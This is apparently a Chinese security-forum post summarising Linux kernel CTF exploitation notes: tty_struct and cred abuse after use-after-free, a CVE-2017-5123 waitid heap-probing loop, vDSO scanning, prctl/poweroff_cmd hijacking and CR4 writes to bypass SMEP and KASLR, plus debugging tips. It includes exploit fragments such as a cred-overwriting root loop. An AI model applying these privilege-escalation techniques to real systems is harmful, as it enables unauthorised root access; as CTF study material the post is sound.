距离上一次说要更新kernel pwn的总结过去了很长时间,原因是最近学业繁忙,尤其是英语课为了拍一个小电影,身体被掏空。所以博客就没有再更新。今天准备把这一个月学习的kernel pwn知识总结一下,做个笔记。自己以后方便一些,希望其它入门的同学也能学到一些东西。
一些结构体
如果存在use after free,就可以利用这些结构体进行提权。
tty_struct的利用:
#include<tty.h>
Size:0x2e0
struct tty_operations
{
struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */
int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */
void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */
int (*open)(struct tty_struct *, struct file *); /* 24 8 */
void (*close)(struct tty_struct *, struct file *); /* 32 8 */
void (*shutdown)(struct tty_struct *); /* 40 8 */
void (*cleanup)(struct tty_struct *); /* 48 8 */
int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */
void (*flush_chars)(struct tty_struct *); /* 72 8 */
int (*write_room)(struct tty_struct *); /* 80 8 */
int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */
int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */
long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 104 8 */
void (*set_termios)(struct tty_struct *, struct ktermios *); /* 112 8 */
void (*throttle)(struct tty_struct *); /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
void (*unthrottle)(struct tty_struct *); /* 128 8 */
void (*stop)(struct tty_struct *); /* 136 8 */
void (*start)(struct tty_struct *); /* 144 8 */
void (*hangup)(struct tty_struct *); /* 152 8 */
int (*break_ctl)(struct tty_struct *, int); /* 160 8 */
void (*flush_buffer)(struct tty_struct *); /* 168 8 */
void (*set_ldisc)(struct tty_struct *); /* 176 8 */
void (*wait_until_sent)(struct tty_struct *, int); /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void (*send_xchar)(struct tty_struct *, char); /* 192 8 */
int (*tiocmget)(struct tty_struct *); /* 200 8 */
int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); /* 208 8 */
int (*resize)(struct tty_struct *, struct winsize *); /* 216 8 */
int (*set_termiox)(struct tty_struct *, struct termiox *); /* 224 8 */
int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /* 232 8 */
const struct file_operations *proc_fops; /* 240 8 */
/* size: 248, cachelines: 4, members: 31 */
/* last cacheline: 56 bytes */
};
我们来看一下内核中关于tty的源码
static void __init unix98_pty_init(void)
{
ptm_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX,
TTY_DRIVER_RESET_TERMIOS |
TTY_DRIVER_REAL_RAW |
TTY_DRIVER_DYNAMIC_DEV |
TTY_DRIVER_DEVPTS_MEM |
TTY_DRIVER_DYNAMIC_ALLOC);
if (IS_ERR(ptm_driver))
panic("Couldn't allocate Unix98 ptm driver");
pts_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX,
TTY_DRIVER_RESET_TERMIOS |
TTY_DRIVER_REAL_RAW |
TTY_DRIVER_DYNAMIC_DEV |
TTY_DRIVER_DEVPTS_MEM |
TTY_DRIVER_DYNAMIC_ALLOC);
if (IS_ERR(pts_driver))
panic("Couldn't allocate Unix98 pts driver");
ptm_driver->driver_name = "pty_master";
ptm_driver->name = "ptm";
ptm_driver->major = UNIX98_PTY_MASTER_MAJOR;
ptm_driver->minor_start = 0;
ptm_driver->type = TTY_DRIVER_TYPE_PTY;
ptm_driver->subtype = PTY_TYPE_MASTER;
ptm_driver->init_termios = tty_std_termios;
ptm_driver->init_termios.c_iflag = 0;
ptm_driver->init_termios.c_oflag = 0;
ptm_driver->init_termios.c_cflag = B38400 | CS8 | CREAD;
ptm_driver->init_termios.c_lflag = 0;
ptm_driver->init_termios.c_ispeed = 38400;
ptm_driver->init_termios.c_ospeed = 38400;
ptm_driver->other = pts_driver;
tty_set_operations(ptm_driver, &ptm_unix98_ops);
pts_driver->driver_name = "pty_slave";
pts_driver->name = "pts";
pts_driver->major = UNIX98_PTY_SLAVE_MAJOR;
pts_driver->minor_start = 0;
pts_driver->type = TTY_DRIVER_TYPE_PTY;
pts_driver->subtype = PTY_TYPE_SLAVE;
pts_driver->init_termios = tty_std_termios;
pts_driver->init_termios.c_cflag = B38400 | CS8 | CREAD;
pts_driver->init_termios.c_ispeed = 38400;
pts_driver->init_termios.c_ospeed = 38400;
pts_driver->other = ptm_driver;
tty_set_operations(pts_driver, &pty_unix98_ops);
if (tty_register_driver(ptm_driver))
panic("Couldn't register Unix98 ptm driver");
if (tty_register_driver(pts_driver))
panic("Couldn't register Unix98 pts driver");
/* Now create the /dev/ptmx special device */
tty_default_fops(&ptmx_fops);
ptmx_fops.open = ptmx_open;
cdev_init(&ptmx_cdev, &ptmx_fops);
if (cdev_add(&ptmx_cdev, MKDEV(TTYAUX_MAJOR, 2), 1) ||
register_chrdev_region(MKDEV(TTYAUX_MAJOR, 2), 1, "/dev/ptmx") < 0)
panic("Couldn't register /dev/ptmx driver");
device_create(tty_class, NULL, MKDEV(TTYAUX_MAJOR, 2), NULL, "ptmx");
}
tty_set_operations(ptm_driver, &ptm_unix98_ops);
将全局变量ptm_drivere de ops 设置成ptm_unix98_ops,
而ptm_unix98_ops是在之前就已经初始化了的一个静态全局变量。
static const struct tty_operations pty_unix98_ops = {
.lookup = pts_unix98_lookup,
.install = pty_unix98_install,
.remove = pty_unix98_remove,
.open = pty_open,
.close = pty_close,
.write = pty_write,
.write_room = pty_write_room,
.flush_buffer = pty_flush_buffer,
.chars_in_buffer = pty_chars_in_buffer,
.unthrottle = pty_unthrottle,
.set_termios = pty_set_termios,
.start = pty_start,
.stop = pty_stop,
.cleanup = pty_cleanup,
};
打开一个ptmx时调用的函数:
static int ptmx_open(struct inode *inode, struct file *filp)
{
struct pts_fs_info *fsi;
struct tty_struct *tty;
struct dentry *dentry;
int retval;
int index;
nonseekable_open(inode, filp);
/* We refuse fsnotify events on ptmx, since it's a shared resource */
filp->f_mode |= FMODE_NONOTIFY;
retval = tty_alloc_file(filp);
if (retval)
return retval;
fsi = devpts_acquire(filp);
if (IS_ERR(fsi)) {
retval = PTR_ERR(fsi);
goto out_free_file;
}
/* find a device that is not in use. */
mutex_lock(&devpts_mutex);
index = devpts_new_index(fsi);
mutex_unlock(&devpts_mutex);
retval = index;
if (index < 0)
goto out_put_fsi;
mutex_lock(&tty_mutex);
tty = tty_init_dev(ptm_driver, index);
/* The tty returned here is locked so we can safely
drop the mutex */
mutex_unlock(&tty_mutex);
retval = PTR_ERR(tty);
if (IS_ERR(tty))
goto out;
/*
* From here on out, the tty is "live", and the index and
* fsi will be killed/put by the tty_release()
*/
set_bit(TTY_PTY_LOCK, &tty->flags); /* LOCK THE SLAVE */
tty->driver_data = fsi;
tty_add_file(tty, filp);
dentry = devpts_pty_new(fsi, index, tty->link);
if (IS_ERR(dentry)) {
retval = PTR_ERR(dentry);
goto err_release;
}
tty->link->driver_data = dentry;
retval = ptm_driver->ops->open(tty, filp);
if (retval)
goto err_release;
tty_debug_hangup(tty, "opening (count=%d)\n", tty->count);
tty_unlock(tty);
return 0;
err_release:
tty_unlock(tty);
// This will also put-ref the fsi
tty_release(inode, filp);
return retval;
out:
devpts_kill_index(fsi, index);
out_put_fsi:
devpts_release(fsi);
out_free_file:
tty_free_file(filp);
return retval;
}
tty = tty_init_dev(ptm_driver, index);
当打开一个ptmx时候调用这个函数之后利用ptm_driver来初始化。因此当我们可以利用
use after free控制一个tty_struct的时候,ops的位置的是一个全局内核变量ptm_unix98_ops,这个变量可以在kallsyms中读取,这样可以leak kernel 绕过kaslr。
实际应用中 Tty_struct 的初始化:
char *fake_file_operations = (char*) calloc(0x1000, 1); // big enough to be file_operations
struct tty_operations *fake_tty_operations = (struct tty_operations *) malloc(sizeof(struct tty_operations));
memset(fake_tty_operations, 0, sizeof(struct tty_operations));
fd=open("/dev/kdb",O_RDWR);
需要申请一个0x1000的fake_file_operations
还需要申请一个fake_tty_operations,之后去伪造其中的ioctl 为xchgeaxesp
具体可以看以前发的那篇kernel的ctf题目。
题目举例:sharif kdb
2018国赛 babydriver
cred 结构:
cred结构相信大家是轻车熟路,
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
通过一个超级粗暴的cred爆破代码带大家看看cred的利用
当我们有了内存的任意读写权限之后
unsigned int credIt = 0;
unsigned int credNum = 0;
while
{
(((unsigned long)addr) < (mmapStart + size - 0x40))
credIt = 0;
if (
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;
printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr,credNum);
credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
if (getuid() == 0)
{
puts("[+] GOT ROOT!");
break;
}
}
else
{
credIt = 0;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
addr++
}
但是这种爆破需要时间太长了
前几天看到一篇文章
http://reverse.put.as/2017/11/07/exploiting-cve-2017-5123/
利用cve-2017-5123waitid的漏洞 先进行内存堆探测,
cve-2017-5123 最最最基础利用可以看我前面的文章,
https://bbs.pediy.com/thread-247014.htm
感觉有必要做一个关于cve-2017-5123的专题,一个很适合练手的cve。
内核堆探测的代码:
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %pn", i);
break;
}
}
else if (pid == 0)
exit(0);
}
waitid去任意写0,触发缺页异常并不会直接触发OOPS,但是会返回fault,这样就可以进行内存堆探测,只要能找到堆的大体位置,并且在上面通过fork,在堆上面分配大量cred结构,这样大大增加命中的几率。但是这里有一个困扰我多年的问题,那就是我找不到办法直接去调试kernel heap,希望大佬们能分享一些实用的工具。而且文章中给出的探测堆地址的代码中,为什么要以0x10000000为单位进行探测我始终不明白。准备接下来一段时间认真读一下linux kernel heap的源码,希望能有所解答。
VMA结构:
vma的利用我都发在了这篇文章上,不再重复了,大家可以复现一波,这个cve真的很有意思。
https://www.anquanke.com/post/id/161632
SMEP的绕过技术
vdso overwrite
static int __init init_vdso_vars(void) {
int npages = (vdso_end - vdso_start + PAGE_SIZE - 1) / PAGE_SIZE;
int i;
char *vbase;
vdso_size = npages << PAGE_SHIFT;
vdso_pages = kmalloc(sizeof(struct page *) * npages, GFP_KERNEL);
if (!vdso_pages)
goto oom;
for (i = 0; i < npages; i++) {
struct page *p;
p = alloc_page(GFP_KERNEL);
if (!p)
goto oom;
vdso_pages[i] = p;
copy_page(page_address(p), vdso_start + i*PAGE_SIZE);
}
vbase = vmap(vdso_pages, npages, 0, PAGE_KERNEL);
vdso是以页为单位copy到内核地址空间的。如果可以内核地址任意的读,可以页为单位进行爆破vdso的地址。
void* header = 0;
void* loc = 0xffffffff80000000;
size_t i = 0;
for (; loc<0xffffffffffffafff; loc+=0x1000) {
readMem(&header,loc,8);
if (header==0x010102464c457f) {
fprintf(stderr,"%p elf\n",loc);
readMem(&header,loc+0x270,8);
//Look for 'clock_ge' signature (may not be at this offset, but happened to be)
if (header==0x65675f6b636f6c63) {
fprintf(stderr,"%p found it?\n",loc);
break;
}
}
}
这是String IPC的例子,首先找到有ELF头的一页,再看这页的偏移0x270的地方对不对。具体的情况可能这个偏移不一样,可以自行dump vdso找偏移进行测试。
有了vdso的地址,我们就可以进行overwrites
vdso overwrite技术
hijack prctl
强网杯solid_core里面用到的技术:
劫持prctl中的hook
32位参数不能直接劫持call_usermoderhelper,但是可以先劫持poweroff_cmd这个全局变量,为我们想要执行的命令。需要绕过kaslr。kaslr的seed为0x100000,爆破出poweroff_cmd.这里也是一种绕过kaslr的爆破技术,在通过在ida中找出data段poweroff_cmd的偏移,以seed为单位进行爆破。其实跟通过爆破vdso找出kernel base是一个道理。之后将prctl劫持为orderly_poweroff。这里不详细讲了,可以看出题人大佬的博客。
http://simp1e.leanote.com/post/%E5%BC%BA%E7%BD%91%E6%9D%AF%E5%87%BA%E9%A2%98%E6%80%9D%E8%B7%AF-solid_core
插一句,这个题我用gdb调试的时候,题目给的vmlinux没有debug symbols table,难受的一匹,我只能先在qemu中读出kallsyms 中prctl的地址,然后手动的下段点。之后找hook也是难受的一匹。不知道大佬们有什么好用的办法。
write cr4
中规中矩的一种方法,当有了kernelbase之后,构造一个内核rop组成的payload,write cr4,但是这个需要一些辅助的利用条件,比如存在ufa,就可以利用tty_struct绕过smep。可以参考之前tty_struct的介绍。
最后再说一点自己调试过程中问题。
因为使用gdb远程调试内核,所以我一直没找到什么有效的手段查看内核的内存映射。一般就是通过readelf -a vmlinux看看text bss data段的偏移,在kallsyms中看看text段符号表,有些全局变量在ida中找找偏移。但是内核的堆和栈,没有像用户态看起来那么方便。
在这里说一说自己调试的时候是怎么处理的。希望大佬们能跟我分享一下自己的调试技巧。每次做kernel ctf pwn都烦skr人,然后用一些lowB的方法,唉!
对于栈的话没什么,
grep 0 /sys/module/yourmodule/sections/.text
从sys/module中找出text段位置,之后
add-symbol-file ./yourmodule.ko 【address】
加载你的驱动的符号表,之后下断点,x/60gx $rsp就可以看栈的情况。
但是堆的话比较难受,原因是对于内核堆的分配算法 slub slab 伙伴算法,我理解不深,也没有实际去调试过这种题型。做过的ctf题目都是有一个简单的uaf,释放一个堆块,马上将其再申请出来这种。在网上也找不到什么实用工具。
所以我写了一个很简单的小驱动,kmalloc一块地址,因为slub分配方法是 先通过伙伴系统获取一整页大小的虚拟内存,之后将整页分配成固定大小的内存块,根据kmalloc进行堆分配。所以,我想的是包装一个内核的模块,当我们要调试一个kernel的程序的时候,比如,需要申请一块ttystruct,kmalloc(0x2e0),这个时候,我们先在包装的内核模块中kmalloc一块同样大小的地址,将这个地址输出,这样,我们要调试的这块tty_struct就会跟我们内核模块输出的地址在同一页中,方便我们去查看堆。
写完之后突然觉得自己是个智障一样,自己还以为是在做用户态的菜单程序,malloc之后的地址没法直接输出。内核态的利用exp不都是我们自己用C写的?自己kmalloc之后自己输出一下不就行了。调试起来难受的原因就是实践的少了,外加kernel源码理解不深。所以接下来一段时间可能会爆更一些kernel 的ctf题目和cve的复现,同时准备更新一些kenerl源码的阅读和调试技巧思考。
真心希望大佬们分享一波自己的调试经验
参考链接
https://www.anquanke.com/post/id/87225
https://bbs.pediy.com/thread-225488.htm
https://hardenedlinux.github.io/translation/2015/11/25/Translation-Bypassing-SMEP-Using-vDSO-Overwrites.html
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2018-11-24 01:51
被obfuscation编辑
,原因: